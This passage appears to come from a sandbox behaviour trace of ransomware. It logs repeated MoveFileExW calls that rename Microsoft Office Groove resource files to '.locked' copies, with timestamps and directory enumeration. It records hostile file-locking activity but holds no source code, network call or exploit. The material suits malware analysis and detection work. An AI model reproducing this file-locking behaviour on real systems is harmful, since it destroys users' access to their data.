files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_on.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_on.gif.locked"), dwFlags=0x2) returned 1 [0039.459] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl.css.locked"), dwFlags=0x2) returned 1 [0039.462] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\teal.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Teal.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\teal.css.locked"), dwFlags=0x2) returned 1 [0039.465] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\TexturedBlue.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\texturedblue.css.locked"), dwFlags=0x2) returned 1 [0039.468] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\VelvetRose.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\velvetrose.css.locked"), dwFlags=0x2) returned 1 [0039.482] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg.locked"), dwFlags=0x2) returned 1 [0039.486] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIconsMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticonsmask.bmp.locked"), dwFlags=0x2) returned 1 [0039.493] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html.locked"), dwFlags=0x2) returned 1 [0039.499] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html.locked"), dwFlags=0x2) returned 1 [0039.510] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg.locked"), dwFlags=0x2) returned 1 [0039.527] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form_edit.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\form_edit.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form_edit.js.locked"), dwFlags=0x2) returned 1 [0039.729] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\macroprogress.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\macroprogress.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\macroprogress.gif.locked"), dwFlags=0x2) returned 1 [0039.736] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\publicfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\PublicFunctions.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\publicfunctions.js.locked"), dwFlags=0x2) returned 1 [0039.740] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignleft.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignleft.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignleft.gif.locked"), dwFlags=0x2) returned 1 [0039.746] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignright.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignright.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignright.gif.locked"), dwFlags=0x2) returned 1 [0039.749] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bullets.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_bullets.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bullets.gif.locked"), dwFlags=0x2) returned 1 [0039.752] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_center.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_center.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_center.gif.locked"), dwFlags=0x2) returned 1 [0039.756] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosecolor.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosecolor.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosecolor.gif.locked"), dwFlags=0x2) returned 1 [0039.759] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosefont.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosefont.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosefont.gif.locked"), dwFlags=0x2) returned 1 [0039.764] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_decreaseindent.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_decreaseindent.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_decreaseindent.gif.locked"), dwFlags=0x2) returned 1 [0039.767] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_increaseindent.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_increaseindent.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_increaseindent.gif.locked"), dwFlags=0x2) returned 1 [0039.771] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_italic.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_italic.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_italic.gif.locked"), dwFlags=0x2) returned 1 [0039.774] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_justify.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_justify.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_justify.gif.locked"), dwFlags=0x2) returned 1 [0039.777] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_pressed.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_pressed.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_pressed.gif.locked"), dwFlags=0x2) returned 1 [0039.781] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_underline.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_underline.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_underline.gif.locked"), dwFlags=0x2) returned 1 [0039.810] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\utilityfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\utilityfunctions.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\utilityfunctions.js.locked"), dwFlags=0x2) returned 1 [0039.837] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\validation.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\validation.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\validation.js.locked"), dwFlags=0x2) returned 1 [0039.843] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg.locked"), dwFlags=0x2) returned 1 [0039.847] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbabc7a00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbabc7a00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0039.853] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg.locked"), dwFlags=0x2) returned 1 [0039.857] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrowmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrowmask.bmp.locked"), dwFlags=0x2) returned 1 [0039.862] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\attention.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\attention.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\attention.gif.locked"), dwFlags=0x2) returned 1 [0039.870] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_casual.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Casual.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_casual.gif.locked"), dwFlags=0x2) returned 1 [0039.903] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_country.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Country.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_country.gif.locked"), dwFlags=0x2) returned 1 [0039.911] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_earthy.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Earthy.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_earthy.gif.locked"), dwFlags=0x2) returned 1 [0040.000] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepage.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePage.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepage.gif.locked"), dwFlags=0x2) returned 1 [0040.023] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageblank.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageBlank.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageblank.gif.locked"), dwFlags=0x2) returned 1 [0040.026] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageSlice.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageslice.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageSlice.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageslice.gif.locked"), dwFlags=0x2) returned 1 [0040.051] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_greentea.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_GreenTea.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_greentea.gif.locked"), dwFlags=0x2) returned 1 [0040.053] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_groove.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Groove.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_groove.gif.locked"), dwFlags=0x2) returned 1 [0040.064] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_lightspirit.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_LightSpirit.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_lightspirit.gif.locked"), dwFlags=0x2) returned 1 [0040.082] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_olivegreen.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_OliveGreen.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_olivegreen.gif.locked"), dwFlags=0x2) returned 1 [0040.094] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_premium.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Premium.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_premium.gif.locked"), dwFlags=0x2) returned 1 [0040.116] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_slateblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_SlateBlue.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_slateblue.gif.locked"), dwFlags=0x2) returned 1 [0040.126] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_texturedblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_TexturedBlue.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_texturedblue.gif.locked"), dwFlags=0x2) returned 1 [0040.143] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_velvetrose.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_VelvetRose.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_velvetrose.gif.locked"), dwFlags=0x2) returned 1 [0040.145] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left.gif.locked"), dwFlags=0x2) returned 1 [0040.147] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left_over.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left_over.gif.locked"), dwFlags=0x2) returned 1 [0040.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid.gif.locked"), dwFlags=0x2) returned 1 [0040.151] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft 